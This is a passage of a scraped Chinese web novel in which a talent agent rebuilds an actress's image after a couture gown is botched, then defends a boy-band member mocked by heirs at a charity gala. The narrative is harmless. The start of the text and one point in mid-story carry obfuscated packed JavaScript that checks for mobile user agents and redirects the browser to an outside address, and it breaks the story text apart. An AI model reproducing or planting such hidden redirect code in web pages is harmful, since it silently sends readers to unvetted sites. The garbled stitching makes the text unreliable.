l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126433|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前的态度,继续笑着充当氛围组:“姐姐们别被她唬着了,我家莉姐有时候脾气有点直,你们多担待点,吃菜——吃菜。” 三个品牌方的人互相看了看,刚才赵莉莉那一番话的确起到点作用,几人沉默地吃了会菜,但最后,仍是没有人提出愿意借出高定的事情。 ...... 饭局结束,宫欢体面礼貌地送走三人,一回身,看见大剌剌坐在地上的女人。 她单手托着下颌,目光放空,没有焦点地落在远处。 宫欢慢慢走过来也挨着她一起坐下,“对不起。害你吃了一堆辣的,还喝了酒,可事却没成。” 赵莉莉摇摇头,波浪长发有几下甩到宫欢脸上。 她面无表情地抬手捋开,听见赵莉莉说:“正常,我经历过很多回这样的事情了,没什么大不了的——” 她打了个长长的哈欠。 “是不是困了,”宫欢偏头看她,夜色朦胧里看不清她的神色,“我们回去吧。” 赵莉莉语调里已经带着酒后的拖长音调,几句靠谱几句上天:“我不回去,不回。不成功,就成佛!这次重生,我一定要打肿他们的脸!什么陈丰%¥…………,高定&*--0,老娘不稀罕!” 她逐渐脱离平时的人设,宫欢有些陌生地往后躲了躲,仔细地看面前的人是不是赵莉莉。 “......莉姐?”宫欢小心翼翼地叫她,伸手帮她将额前的碎发捋到耳后,看见她酡红的脸瞬间了然。 好嘛,原来是醉了。 赵莉莉眼神发飘,四处乱晃着没有定点,嘴里嘟嘟囔地说着什么陈丰。 是她的绯闻对象。 宫欢八卦的心思顿起,她坐得近了些,身体挨着身体,肩并着肩,她放轻声音带着诱哄地意味:“......你喜欢陈丰吗?” 她眼底带着些探究与期待,紧张的心悬在嗓子眼。 赵莉莉侧过头眼神晃了半天才看见歪着头的宫欢,她很费力地想了想:“应该是喜欢...” “哦...”宫欢默默翻了个白眼,真是便宜那男人了。 “如果没有高定,后面要怎么办。”宫欢略有些惆怅,她想起刚才赵莉莉在饭局上说的话,心底的感动慢慢涌上来,心脏发胀发酸。 夜风微凉,赵莉莉只穿着单薄的礼服,她瑟缩起身体,宫欢见状脱下粉色的西服外套给她披上,两人继续坐在台阶上看远处的月亮映出一地的寒光。 “我刚才说的话,是真心的,”赵莉莉忽而清醒不少,语气笃定认真,“我相信你能帮我转型,帮我翻身。” “就算没有这件高定礼服,也不会影响什么。” 声音很轻,没有任何重量地飘入耳中。 宫欢歪着头看赵莉莉,她是很美艳的那类人,五官跳不出错处,身高也恰好到处,穿什么礼服都是人衬衣服。 演技也好,只是那些表演在美艳的容貌之下,任何人一看,最先注意到的是她的美,演技就显不出光彩。 “我也相信你,”宫欢笑着学她说话,半吹牛夸赞,“莉姐有野心,有资本,有演技,我一定要让所有人都看见你的光彩。” 两人互相商业吹捧了一会,才起身互相拉扯着往外走。 一地清冷月光映着她们的背影。 晚风也听见一些只言片语。 “其实辣也挺好吃的。” 143. 优秀女演员 与奢牌高定合作这件事没成的确并没影响到什么。 宫欢很快转移战略,将视线放在了最近几年新出彩的高定工作室中。 她联系了其中一家曾为影后制作过礼服的工作室,提出了礼服主题——符合赵莉莉饰演的民国风。 工作室有高定礼服的固定排期,但宫欢出手阔绰直接加急。 与此同时,《重生之家产一定是我的》剧集播放至一半,许多剧情进展到高潮阶段,剧情线前后衔接进入到爆发阶段,在社交媒体上引起一阵热议。 热度虽然比不上【风雨九州】,可也算是超一档的热播剧。 宫欢趁此时机放出营销公关—— 【一个回眸内娱谁接得住】 【一部剧的造型统领所有民国剧】 【内娱仅存的美艳型女星】 【天选民国人】 仅是营销下场当然不够,赵莉莉目前最缺作品与奖项傍身。 这次出演的三姨太伏枝一角,赵莉莉下了苦功夫,拍摄期间对于外界的事充耳不闻,全身心投入在这角色上。 如她所说,剧中三姨太伏枝的人物情感可发挥的地方很多。 她因为种种困难成为傅府小妾,正是青春年华的时候却活得像个老妪,而剧情从男主傅远榕远渡重洋回国开始,为她带来了更多的新奇与可能。 剧本里虽然写着伏枝对男主有些暧昧不清,可赵莉莉在将所有剧情啃透后,她并不认为伏枝是喜欢男主的。 即使剧本写着伏枝爱慕男主。 如果饰演伏枝的年龄在二十多岁的时候,赵莉莉也许会认可这一剧情。但她现在是30岁。 她清楚的知道什么是爱,什么是羡慕与向往。 伏枝被困深宅后院,一只外面的鸟儿飞进来,带来她的向往与期盼,那是她奢求的自由。 所以在初次见面心动的那一瞬间,不是因为爱,而是因为看见了自由的样子。 即使伏枝与男主的许多剧情里面他们眉来眼去,暗生情愫,但那只是为了剧情圆满。 世界上的所有有关男女的剧本都只会写情爱。 被困在封建制度里的青春年华的女人,和一个远渡重洋的归国君子,男才女貌相配,就是最好的一段‘爱情’。 剧集开播后,赵莉莉特意找了关清英、萧子重、甘惊鸿几人围观看剧,在几人看完后向他们询问表演的细节。 关清英凝神思索着,目光停留在屏幕上穿着旗袍的女人身上。 “嗯......” 萧子重拖长音调,他刚才看完后也思考了会,怕赵莉莉误会,忙认可道,“莉姐的表演无可挑剔,体态和神情非常符合民国时期的女性,角色状态也很到位,不过......” 赵莉莉追问:“不过什么?” 关清英适时接话:“不过,伏枝她是真的对傅远榕有感觉吗?” 赵莉莉眼眸几乎瞬间亮起:“怎么这么说?” 坐在另一边的甘惊鸿小口吃着薯片,她拧眉认真地边想边说:“我不知道我的感觉对不对,我怎么觉得,她每次看傅远榕的眼神里不像是单纯的‘喜欢’,她好像不止是在看他,总觉得,在看其他的东西。” 经过甘惊鸿模糊的描述,萧子重与关清英几乎是同一时间领悟。 “是自由。” “自由。” 关清英坐姿板正,因为与其他人同频,嘴角带着淡淡的笑意:“她每次看傅远榕都不是在看他,而是在看他因为自由生长而自信大方,因为自由而无所畏惧,不受困于任何人,任何地方。” 几人互相讨论着两个角色的特点,你一言我一语的聊着天。 赵莉莉久久没出声,只是看着他们露出欣慰的笑。 表演并不是无声的。 有人会看到。 ...... 在营销期间,宫欢为赵莉莉报名了中国电视剧飞天奖,报名并不是为了获奖,主要目的是为了提名。 前有【风雨九州】的势头,后有其他更受欢迎的剧,赵莉莉出演的这部剧胜算不大,且戏份偏少,此次只是为了造势。 也为之后的星光大赏铺垫一下。 赵莉莉心态稳得住,她清楚翻身仗要慢慢打,因此并不急迫。 一边是提名奖项,一边是星光大赏,配合营销下场,只希望能将赵莉莉身上的标签撕下来。 很多时候宫欢并不能确定她的每一步计划是否能起到最好的效果,每个艺人她都会为对方定制专属的营销策略,根据艺人的自身条件,过往风评经历之类的调整方案。 这其中,最不可控的是大众,是娱乐圈内众多争夺资源的艺人,她背后没靠山,只能全靠自己努力。 高定工作室接下订单后加急制作,圈内太多背后使绊子的,她抽空就要去工作室看看进度,以防万一。 距离星光大赏盛典还有两天,宫欢开车来到高定工作室查看服装制作进度。 为了符合赵莉莉饰演的民国角色,服装主题是以旗袍样式改良的长礼裙,工作室前段时间做出过电脑设计图发给宫欢看,长礼裙半边露肩,半边是到手腕的长袖,袖口一圈纯白绒毛,裙摆不长,方便走动,上身则是包裹住一半脖颈的款式,整体偏柔和的米色,背部往下绣有精美刺绣,前身则简约地点缀些荷叶边。 造型师与化妆师宫欢都已早早约好,就差服装了。 她刚来到工作室门外,就听见里面传出激烈争吵。 “吃里扒外的东西!宫欢那边加了将近一百万的钱就为了加快工期,我都说了多找点熟练工来做刺绣的部分,你看看现在这绣的什么鬼东西,针法像狗啃的一样,这种东西拿出去工作室都得倒闭!” “姐,姐我真的没想到,她们都是做过几年绣工的,我真没随便找人!我不知道会成这样,她们给我保证得好好的,说准没问题——” “别跟我解释了,你等宫欢来把你砍了吧!” 站在工作室门外的宫欢:“?” 她是这种凶残的人吗? “再气也得遵纪守法啊,”宫欢两步进了工作室大门,在得知高定礼服被毁的情况下仍露出笑容,友善体贴地问,“发生什么了,怎么闹出这么大动静?” 工作室主理人原露是圈内知名设计师,这会正扶着桌子气得头发晕。 她听见宫欢的声音后浑身一颤,十分不愿意地抬起头,苍白着脸对上宫欢,她咽了咽口中唾液:“......欢姐,你先别生气。” 宫欢笑容满面,撑着劲死死维持一副体面:“我刚才听到了一点你们争吵的话,是礼服哪里出问题了吗,什么问题都可以好好解决的嘛,我又不是不通情理的人。” 在宫欢说完这句话后,工作室内在场十几人都不由得瞪大眼睛互相看。 连原露都惊愕万分,她缓了缓情绪,引着宫欢带到那款高定礼服旁边,穿在人形模特身上的礼裙做工精美,剪裁得当,布料在十几个射灯照耀下不反光,暗纹与布料上的细粉随着灯光变换而流动,仿佛有一道流光始终绕着裙身旋转。 宫欢做足了心理准备,看到这一幕惊叹不已:“真漂亮啊,比一些高定都要好看。这不是挺好的吗,你们刚才在吵什么呢?” 原露屏住呼吸,带着宫欢继续绕着模特转到背后。 礼裙的背面本该是蜿蜒至裙摆的大片楼阁水榭刺绣,但现在上面只有密密麻麻的绣线,五颜六色组成一团怎么都看不出绣的是个什么。 宫欢的笑意僵在脸上超过五秒,工作室内十几个人一声都不敢吭,主理人原露更是紧张地看宫欢脸色。 “哈哈,”宫欢突然笑出声,“哈哈哈这绣得挺多的嘛。” 她一笑,整个工作室的人都下意识放松不少,以为没什么大事了。 甚至有几个人也跟着一起笑了一声。 但就在这一瞬间。 宫欢啪地一下甩开手里的奢牌包,随手拿起一边摆放着的模特手臂,怒气冲天、气势汹汹地转过身,高举着那根手臂,张牙舞爪地大喝道: “谁!!这他爹的谁绣的!!给老娘站出来我弄死她!!!” 她作势就要往前扑,一众人吓得纷纷往后躲挤成一团。 原露眼疾手快地扑上来拦腰抱住宫欢,哭着求饶:“欢姐!欢姐——我们错了,你别啊,不能打人,明天你黑料又要多一个!” “多就多!我这辈子什么都不多就黑料多,你们谁参与的绣工的部分有胆子给我站出来,一个个眼睛是针眼大小吗,自己绣什么样看不出来!??那绣花还不如我去大街上买十字绣的“家和万事兴”!花了一百万就给我这样交差,今天谁都别想活着出这个门!” 宫欢被原露抱着腰,眼睛瞪得溜圆,一只手疯狂挥动那根模特手臂,活像来索命的妖怪拿着一截断肢耀武扬威。 “看看这绣得什么垃圾,”宫欢扯着模特背后的裙摆,“又绿又红,又青又紫,怎么,绣不好就开始拿笔画画啊,一个个理想挺高大,想做个小画家?” 原露抱着宫欢的空隙,抽出神向那几人使眼色示意多说点卖惨的话。 有个绣工立刻挺身而出,身后十来人满怀希望地看着她。 只见这位绣工挺着胸,慷慨激昂、义正言辞地说:“我!我的理想就是做个画家!” 所有人:“......” 谁想知道你的理想啊!! 原露啪地一下捂住脑门,深深地想挖个坑把自己埋进去。 宫欢险些气得昏厥,她闭上眼仰起头长长深吸一口气,原露眼疾手快地将人推坐在休息椅上。 她瘫坐在椅子上,用模特手臂当拐杖撑着地面。 原露赶紧端茶倒水,不停道歉:“您消消气,喝点水。” “欢姐,我们也没想到这么多绣工同时努力的情况下会变成这样,是我们这边的内部设计没有沟通好,你放心,高定礼服的钱我全部退还给您,以后再额外帮您制作一套礼服!” “我现在不需要这些东西,”宫欢没接茶水,气过之后更烦躁焦虑,“马上就要到星光大赏的时间了,我们需要这件高定礼服,现在全都没完成,你知道会有多大的影响吗?” 原露忙点头称是,紧张地想着办法:“我们知道的,刚才也都在想怎么解决这个问题,后背的部分换成原布料。我们加班加点做点刺绣上去您看可以吗?” 宫欢:“我现在只有不到两天的时间,根本等不了那么久。” 时间紧迫,重新制作耗费的时间和最终成品并不一定能达到最好的效果。 原露深知这个问题,她绞尽脑汁想着对策,宫欢就坐在身旁,仿佛今天不给个办法出来,谁都走不了。 “或许,如果您不介意的话,我有个办法。”原露在心里敲定后说。 “你说。” “您知道我是设计师,经常会创作出很多的服装设计图,一些制作出来后并没有对外公开,一些则可能会送去秀场展览,”原露说,“如果您不介意,我可以将我制作成品的服装后仓给您看,里面的所有衣服都是独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126434|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家设计,只此一件,没有任何明星大牌穿过,也没有送到哪家秀场过,我可以带您去看。” 圈内的服装设计师太多,理念与服装是否适配是个问题,可眼下也没别的办法了。 宫欢略作思索,说:“你等等,这件事我不能一个人决定,我要联系一下我的艺人。” 30分钟后,赵莉莉来到了工作室。 两人跟着原露一起进入了服装后仓。 原露是这几年来新露头的设计师,之前一直藉藉无名,这两年订单增多也是因为影后穿过她家的设计,才渐渐小有名气。 服装后仓里摆放着上千件礼服,各种风格一应俱全,宫欢与赵莉莉边走边看,寻找适配的礼服。 其实大部分礼服的设计都非常亮眼出彩,两人走两步就停下来欣赏一阵,只是要选出适合最近民国风噱头的服饰仍要挑一挑。 大概选了两三个小时,她们最终选中了一件挂脖露肩白款亮片长礼裙,礼裙没有多余的外饰,是原露从其他配饰里选出貂毛披肩来做搭配才有了些民国时期的风味。 披肩的绒毛里掺着一些细碎的浅金色,不显廉价,反而能衬出亮片裙星光璀璨。 赵莉莉上身试穿后也非常满意。 趁着赵莉莉照镜子的间隙,宫欢将原露拉到一边,一改之前要活劈了整个工作室的架势,态度非常诚恳友善,她拉住原露的手笑吟吟地说: “我就知道你肯定能行,不愧是众多明星的选择。” 原露松了口气:“能挽回您的损失就好。” 宫欢的态度转变过快,让人一下适应不过来,熟人要看她这热切的态度,准能猜出,宫欢又在憋坏招了。 “说什么损失不损失的,”宫欢弯着眼,亲昵地勾着原露肩膀,“遇上你原露大设计师,砸几百万都是正常的,人才就得好好培养,有充分发挥的余地......” 原露有点懵,被宫欢拉着说了一堆好听的话,一时间分不清到底谁是甲方金主,直到宫欢抛出真正的目的:“我觉得你是一位非常有才华的设计师,这么多的作品堆积在仓库没有用武之地简直是太可惜了,没有人能欣赏到你的优秀吗!?这个世界到底怎么了!!” “我也是个惜重人才的人,”宫欢意味深长地说,“遇到你真是缘分,你愿意跟我们合作吗?” “我们,就是我和赵莉莉。”宫欢朝发愣的原露眨眼,“她现在处于发展期,走红毯的地方多着呢,而我需要她的礼服超出高定的设计,多点巧思,很明显,你就是最合适的设计师。” 旁边照镜子的赵莉莉听见宫欢的话不由得挑眉。 她那张嘴又升级了,现在忽悠人张嘴就来。 原露的工作室在影后高定之后虽然也接到许多的订单,但鲜少再有出彩的礼服了,一方面是明星艺人方面的要求,一方面是主办方的要求。 她的设计需要符合多方的需求,这样一来设计便不再单纯,掺杂太多的东西进去。 她的名气还未完全打响,一时半会只能按照各方的要求来。 宫欢的话让一仓库的礼服都被得到认可,原露没有一点犹豫就答应了下来:“好,我们合作。” 就像需要一个转型机会的赵莉莉,原露也缺一个机缘巧合。 - 星光大赏当日。 明星云集,娱乐媒体占据大半边场地,闪光灯接连不断地拍摄着,红毯的尽头一辆车停下,先是伸出一条腿,修长白皙,从亮片礼裙后探出,接着稳稳踩在红毯上。 “是赵莉莉!” “赵莉莉也来了!?” “快拍,赵莉莉来了——” 她一下车,周围喧嚷声起。赵莉莉保持着得体的微笑,缓缓向红毯尽头走着,有摄影师大声叫着她等一等,赵莉莉便就停下配合对方拍摄。 她长发一缕缕地盘起缠绕成发髻,又带了一朵礼花,花枝挑出细细的几根花蕊,随着走动而微微轻晃。 记者身后的粉丝群体里有赵莉莉的粉丝,竞相争抢高喊着赵莉莉的名字,她侧头朝那边柔柔一笑,轻轻摆手。引起一阵狂热尖叫。 赵莉莉本身是美艳型相貌,穿这身衣服非常容易显出风俗来,可她本身气质内敛,动作端庄优雅,常年锻炼体态与阅读书籍的习惯使她有几分书卷气。 种种杂糅一起,使她的这身装扮更符合民国时期冠绝群芳的大明星。 一路走到签名墙处,她落笔签字,接着配合媒体记者摆出定场poss。 有记者问赵莉莉:“请问你最近饰演的小妈继子角色是否也延续了你一贯的表演风格。” 赵莉莉轻笑应对:“如果你只看角色的表面关系,而不去探究他们背后隐藏的情绪与追求,那你永远都是肤浅的。” 三日后,在第37届中国飞天奖的获奖名单中,《重生之家产一定是我的》中饰演三姨太伏枝一角的赵莉莉入围了''优秀女演员''奖项提名,与其一起提名的还有饰演《风雨九州》赵蘅一角的金圆儿等人。 最后‘优秀女演员’获得者是金圆儿,赵莉莉惜败。 当晚,惜败后仍笑着为对手鼓掌的赵莉莉营销通稿齐下场——虽惜败,却诚服。 这一营销出现,即捧了对手,也捧了自己。 网络上关于赵莉莉的争议比以前更多,话题度高得超越许多流量小花。 所有人都知道了赵莉莉要转型,对她投注了一些或有或无的关注。 哪怕只有一点,在这个关注力被分散得几乎于无的时代,也足够了。 144. 晚宴 近期男团接到的商演晚宴邀约多到数不过来。 宫欢慎重地筛选了几场重要的晚宴,其他的能推就推掉。三人当前只是凭借配角小火,重心不可偏移,以防他们被花花世界迷了眼,能让他们在各大金主面前露个脸即可。 晚宴又分慈善晚宴,活动品牌方举办的明星晚宴,以及社交晚宴等。 向外公开的只有一场慈善晚宴,这场晚宴主办方由圈内的顶级时尚杂志社主办,明星云集,各界人士都赏脸参与。晚宴流程分餐前酒会,拍卖藏品,捐赠款项,晚宴社交等。 宫欢为三人定下这场晚宴也是想试试能不能在下一期的时尚杂志封面为他们争取一下机会。其次是各界人士都有,正是社交的好时候。 晚宴当天。 三人一整天只被允许吃几块全麦饼干果腹,饮水也必须分次分量,避免水肿犯困。造型师花费一下午的时间将三人整体妆造完善,临近六点,宫欢催着三人赶时间。 三人刚上车,宫欢就开始给他们上强度。 “拍卖藏品的预算是五千万。” 宫欢翘着腿坐在宽敞的加长礼宾轿车内,她一身纯白西服,肩膀至手肘处做满了垂坠流苏的设计,简约而不简单。 她手指比了个五,“绝对不要超过这个数,你们三个拍藏品意思一下就可以了,别抢其他大腕的风头。” “五五千万!?”安声震惊,“欢欢姐,我没有那么多钱。” 宫欢啧了一声:“你没有我有啊。” 自对赌协议签定后,宫欢账户余额有一亿三千万,在宣发,买水军,日常的衣食住行等等支出细算下来早已花费超过六千万。 好在艺人们争气,各种代言商约进行下,进账与花销勉强持平。 尽管如此,宫欢现在账户里也只剩下一亿左右。这在圈内是一个非常岌岌可危的余额,毕竟她下有六个艺人需要养活,各方面都是花钱的地方。 其实慈善晚宴三人大可白蹭热度,来走个红毯凑个热闹,厚着脸皮去社交并不是什么大问题。最多落个‘白嫖’的口舌。 可宫欢不答应。 三人本就初出茅庐,且众所周知是她宫欢的艺人,他们长相气质俱佳,前段时间又爆火成名,多得是人来挖墙脚。 她不能露怯,一旦在哪里显出些劣势,其他人定会像饿狼一样扑上来抢人,她极有可能因此翻车,再难翻身。 所以宁愿富贵险中求,起码先撑起点体面,等有新的资源到来,再赚取利益不迟。娱乐圈的钱来得非常轻易,可想稳住自身,长远地发展却是如同走钢丝一样。 一不小心便会从高空坠落。 ...... 车刚停在晚宴入口处,外面传来喧嚷的尖叫声,各家明星粉丝皆来应援,天空飞过数架无人机,媒体娱记们也都举着长枪大炮对准每辆入场的车。 宫欢推门率先下车,迎着众多闪光灯微微笑着招手。 她姿态干脆利落地绕到车身另一边打开门,车内伸出一条长腿,紧接着白到反光的一张脸出现,奚亭云面带笑意地下车后朝宫欢点头致谢。 后面两人也跟着下了车,车缓缓开走,三人在原地站定片刻,朝四周接连不断的闪光灯挥手微笑。 “啊啊啊老公老公!!是我老公云云!!” “嗷嗷嗷安声!!安宝!妈妈爱你!崽崽看这里!!” “卧槽帅炸了呜呜呜真人更帅啊啊啊啊阿,我死了——” “诶诶快快这里有人晕倒了!救护车,救护车!!” “别挤我啊,我要吐了,烦不烦啊你们挤什么挤!?” “看这里,奚亭云看这里,”一人扛着摄影机对准奚亭云,几乎叫破喉咙,“对对保持这样!谢谢配合!” 等现场的摄影机拍过几分钟后,宫欢小声提醒他们往里走,她自己则绕开红毯从一侧的员工通道入场。她不参与走红毯的内容,只是来陪同的,其次也是来社交。 三人正色应对,转身一并走在红毯上。 带着细绒的红毯走上去吞没脚步声,四周全是尖叫呼喊的嘈杂声响,黑深空洞的镜头对准他们拍摄,闪光灯上下起伏闪烁,白得刺眼。 这是他们第一次走红毯,阵仗便如此之大,三人略有些僵硬和手足无措,好在有工作人员指路,引导他们走向签名墙处。 三人凌乱地签完名,转身就想走下台,硬是被主持人急忙喊住:“请等一等,等等,请X男团站在签名墙前,我们的摄影师等着拍摄呢。” 萧子重差点踩到奚亭云的鞋,三人匆忙回身摆出团队的标准Pose,又持续了几分钟才走下台。 红毯部分走完后,往里一段路程的花园处便是餐前酒会地点。这是个极好的社交时刻,宫欢早就如鱼得水地游走于各个位置,谁都能聊几句话。 三人被引导过来本想找宫欢,却怎么都捉不到人。 萧子重张望一圈,看见之前拍摄【风雨九州】的元导,忙随手端了杯香槟凑过去搭话。 安声也一眼瞧见合作编曲的音乐人李云晴,屁颠屁颠地跑去聊天。 唯独剩下奚亭云有些无所适从地静站了片刻,视线搜寻到宫欢,她正掩唇和人聊得开怀,不适合过去打扰。 奚亭云左右看看,坐在了一张酒桌旁的座椅上,敛眸,双手交叠放在身前,指腹摩擦着手背,不知在想什么,只是偶尔抬眼望向宫欢的方向。 红毯那边不断走来应邀的明星大腕,酒会里的人逐渐增多,一些人顺势坐在了奚亭云所在的酒桌旁边,互相不认识,也就只是笑着点头示意。 隔了片刻,一人端着酒过来,拉开座椅一屁股坐下,动静折腾得很大,奚亭云抬眼看去,才发现这是老熟人。 “哟,我以为是谁架子这么大,坐在这一杯酒不喝,”染了一头绿发的TXT男团主C陈闪闪没个正形地坐着,他不屑地上下打量奚亭云,“装模作样......” 陈闪闪一闹腾,有几个人也跟着过来,十人位的酒桌一下坐满了人。 一些人是圈内富二代,星二代,红二代,与陈闪闪并不算玩得好,但乐于看戏,巴不得凑热闹。 “诶,听说你挺厉害啊,”一个穿着奢牌的人手肘撑在酒桌上,单手举杯朝奚亭云扬了扬下巴,“网上说你之前是街边卖炒饭的,是不是真的啊?” 这人是知名老演员的儿子何建,行事作风高调嚣张,曾传出过各种负面新闻。 他一开口,其他人便开始为虎作伥。 陈闪闪先上,他往嘴里猛灌几口酒,眼睛往奚亭云那边瞥:“哈哈哈哈还用说嘛,我看网上晒的图一个比一个真,真看不出来啊,坐在这人模狗样的,其实也就是个炒饭的。” “真掉面,”一个红二代嫌恶地抖了抖肩膀,“早知道就不来了,现在这些人真是的,什么人都能捧成明星,居然都能跟我坐一桌了。” 奚亭云一一扫过几人。 星二代何建,红二代蔡少赫,富二代□□。 虽说他以前从没特意搜过他们的相关信息,可在圈内这几人确实是恶名昭著,常闹出事情上热搜,偏偏谁家粉丝也拿他们没办法,只能背着人骂。 还是不要给欢欢惹麻烦比较好。 “各位老师好,”奚亭云微微点头朝几人示意,语气平稳不乱,不为刚才的贬低而有任何的情绪,“能和几位坐在一张桌子上的确是我的荣幸,希望你们今晚能玩得开心。” 富二代□□将腿往桌子上一搭,整张酒桌上的酒杯与玻璃制品都随着这动作碰撞出哗啦啦的响声,惊起附近一些人的注意。 “快看,那边。” “怎么回事啊?” “那几个混世魔王怎么凑到一起了?那个谁是最近小火的?完了,要吃点苦头了。” 一些人窃窃私语地讨论着这边的情况。 “开心?跟我坐在一张桌上的人连脸都不赏,”富二代□□嗤笑几声,破锣嗓子仿佛拖拉机轰轰轰地,“酒都不喝一口,我开心什么啊?” 陈闪闪见状忙献殷勤地将手中的一杯酒灌下肚,举着空杯以示忠心:“哥,我喝完了!有的人就是不给脸,您别搭理他。” 奚亭云也回之一笑,他歉意十足地说:“十分抱歉,我酒量不好,喝不了酒。” □□的脸色瞬间沉下去,正要发作,一边的何建打圆场道: “也行,也行。大明星不喝我们也不能硬逼人家,这样吧,你是个炒饭的,那炒饭肯定是你的拿手一绝啊,来给我们现场炒一碗尝尝手艺,看看大明星的炒饭好不好吃啊?哈哈哈哈......” “哈哈哈哈还得是何哥有招!” “对啊,”陈闪闪附和道,“奚老板炒饭好吃,给我们几个炒一碗呗,就当敬酒了哈哈哈哈!” 尖锐的嘲讽使旁边几人都跟着笑出来,讥讽的笑充斥着耳际,他们明里暗里地贬低奚亭云,眼里的不屑与仿佛一根根针扎过来,势要将他扎得狼狈不堪,好似遍地流着他的血才更能让他们兴奋。 在几人笑声愈发扩大,引得其他邀约嘉宾频频投来视线时,奚亭云只轻飘飘地说了几个字,桌上人皆是一愣。 “这里没有锅。”他说。 这句话让所有人都惊愕,连嘲笑都忘了。 酒桌上的几人僵住脸上讥讽笑容,连带着周围的一些明星大腕也都安静下来。 奚亭云轻轻露出个笑,眼神温和,好像从没被这些挑衅恶言激怒,他无视所有贬低,不卑不亢道: “不好意思,炒饭的话需要用炒锅,明火,这样做出来的炒饭会更好吃,这里什么用具都没有...我想,不太合适做炒饭。如果各位真的很想吃,改天有时间约到我经纪人的工作室一聚,怎么样?” 他经纪人的工作室? 几人不由得细想了一下,紧接着脸色更是一僵再僵。 他的经纪人可是—— 这时,在附近交际的宫欢被人戳了戳胳膊,她带着满脸笑意转过头,被人引导着看向酒会的中心处。 奢靡的璀璨光线交替着扫过,被映照的人白得反光耀眼,仿若镀上一层银箔般让人无法忽视,却又不过分高调,一切都正正好,是最耀眼的中心。 面带笑意的奚亭云坐姿端正优雅,对面是四个傻逼。 宫欢面上笑意猛地沉下去,她将手中酒杯随手塞给身旁的人,直冲冲地朝着酒桌走去。 “额,那就不用了,我没去别人家做客的习惯。” “对对,我,我宫欢过敏......” “哈哈哈哈哈客气,客气,以后再说,我先撤了哈——” 没等几人转头溜走,他们背后出现一个人的身影,那气势也就比盘古开天辟地差了点。 她一手搭上红二代蔡少赫的肩膀,把人吓得一激灵,猛回头,看见是谁后,这位横行霸道的红二代顿时焉了似的讨笑: “哈哈哈我说谁呢,原来是宫大经纪人,好久不见哦哈哈哈,上次见还是在上次呢,你,你今天也在啊,好巧哦~~” 另外几人也一下放软语调:“巧了巧了。” 倒不是他们怕宫欢,主要是麻烦。几人平时惹了麻烦非常容易被大小媒体报道,家里只得管得更严厉。 宫欢可是个麻烦体,她向来不怕惹事,敢于惹事,甚至恨不得闹得人尽皆知。 “巧,是巧。” 宫欢拍着红二代蔡少赫的肩头,每拍一下她就抖一下。 她抬头扫过众人,似笑非笑地启唇:“几位怎么就那么刚刚好的…坐在我家艺人旁边了?聊什么呢,说给我听听啊?” 她站在几人身后,挺阔的纯白西服高定套装显得人利落干练,朝对面看去时,奚亭云还安之若素地坐在那,似乎惊讶她的出现,眼眸微微睁圆了。 倒是很淡定,有几分风范。 宫欢在心底短暂地满意了下,可很快又嫌弃起来,怎么他碰上被人欺压的情况也不吱声找她呢? 她向他挑眉,追问:“刚才跟几位大腕都聊了什么啊?” 这回其他几人齐刷刷地看向奚亭云,明里暗里地警示他别乱挑事。 奚亭云顶着一群人含带威压的视线仍风度不减,附近看戏的人纷纷举着酒杯藏着嘴角看好戏的姿态,这场慈善晚宴还未正式开始,就有名场面诞生了。 他与宫欢对上视线,眼角眉梢都带着温和有礼的笑:“几位老师说想吃我做的炒饭,我邀请他们去工作室,还在等他们的回复。” “哦?”宫欢似信似不信地应了声,转眼看向陈闪闪几人,“是这样吗?” 陈闪闪额头的汗又在往外冒,他抬手擦了擦,硬着头皮应下:“是,是这样的。” 没等宫欢追着杀,奚亭云走近几步,轻贴近她耳边低声解释:“周围很多人都在看我们,还是先不要管他们了。刚才真的没发生什么,只是拌了几句嘴,无伤大雅的。” 宫欢抬眼看了看附近一圈的邀约嘉宾,都不再交谈,眼神暗戳戳地往他们这边看。 她只得点头,半警告半威胁地朝几人笑:“这么想吃炒饭,尽管来我工作室啊,我宫欢,随、时、欢、迎。” 几人坐立难安,哪还敢多问,含糊地说着谢谢就匆匆躲开了。 见没热闹看,众人才又将重心移开,不再关注酒桌这边。 宫欢与奚亭云还维持着贴近的姿势,灯光短暂地略过他们而后远离,此刻是昏暗的。她偏过头,看不太清他的面容,急切的语气里带着质问: “他们辱骂你了?” “没有。” “说难听的话了?” “不是很难听。” “你居然还坐得住,遇到这种找茬的,直接骂回去,”宫欢说,“少装风轻云淡不在乎,他们那种脑子看不懂的。” “......我没装。” 宫欢后知后觉自己有点咄咄逼人,好像一遇上跟他有关的事就容易着急。她顿了顿,“你遇到解决不了的事情就不能学会找经纪人出面解决吗?” 他沉默片刻。 她的袖口忽然被人轻轻碰了下,紧接着微凉的触感慢慢缠绕上腕骨,手指缓慢游移着圈紧,凉意丝丝往身体里钻。 “这件事我能解决。” 奚亭云低声说话时有几道气息扑在她眼睫处,她连眨几下眼睛,心里不由得去猜测两人的距离。 这破灯,照几下黑几下,搞什么氛围。 “他们是不是拿你之前的工作说事?”宫欢想到刚才的对话,恐怕那几人就是在拿他的出身嘲讽。 一缕光束随着音乐轻缓地从宫欢背后扫来,光照的她脊背有些发痒,灯光继续斜着扫过她肩膀,向上移动,照过她小巧的下巴,接着向上,映出奚亭云深沉无底的眼。 睫毛被光线映得根根泛白,他垂着眼,万分专注地凝视着宫欢。 这一霎的光线交错,宫欢看清两人的距离,近到简直像在拥抱。 这还在外面呢! 她慌忙往后退了半步,光束也远去,周围再次陷入昏暗。 手腕还被奚亭云攥着,宫欢试着抽手,却发觉他虽然没用力,但很牢固,他迟钝地停了几秒,说:“...是,他们...嘲笑我是炒饭的,一辈子都只配做个破炒饭的,坐在那张桌子上都会染脏座椅,弄臭饭食,让他们倒胃口。” 